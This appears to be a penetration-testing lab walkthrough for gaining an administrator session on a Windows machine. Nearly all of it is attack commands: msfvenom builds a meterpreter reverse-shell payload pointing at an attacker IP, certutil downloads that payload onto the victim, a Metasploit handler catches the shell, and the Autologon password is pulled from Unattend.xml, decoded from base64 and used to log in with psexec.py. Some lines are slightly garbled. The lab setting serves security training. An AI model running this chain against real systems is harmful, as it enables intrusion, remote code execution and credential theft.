Lab: PsExec for SMB and Windows Systems
Run PowerUp.ps1 to find a common Windows privilege-escalation flaw caused by misconfiguration. The PowerSploit post-exploitation framework is provided on the Windows machine. This lab's route instead recovers Autologon credentials from an unattended install file and logs in with PsExec.
Objective: Gain access to meterpreter session with high privilege.
Build MSFvenom Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.9.4 LPORT=1337 -f exe > payload.exe
Connect Attacker and Victim
Serve the payload from the attacker, pull it down on the victim with certutil, then catch the session with a handler.
python3 -m http.server 80
certutil -urlcache -f http://10.10.9.4/payload.exe payload.exe # from victim
msfconsole # from attacker
use exploit/multi/handler
set LHOST 10.10.9.4
set LPORT 1337
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Search for Unattend.xml File
Look for the unattended-install file, which often holds Autologon credentials. If the search doesn't find it, walk to it manually.
search -f Unattend.xml # if doesn't work, then do it manually
cd C:\\
cd Windows
cd Panther
dir
Download the file: download unattend.xml.
Read it with cat unattend.xml to find the Autologon credentials.
The password is stored base64-encoded in <Value>QWRtaW5AMTIz</Value>. Decode it:
vim password.txt- Paste in
QWRtaW5AMTIzand:wq, ORecho "QWRtaW5AMTIz" > password.txt base64 -d password.txt= decrypt password
Login with PsExec.py
The decoded password is Admin@123.
psexec.py Administrator@10.3.28.217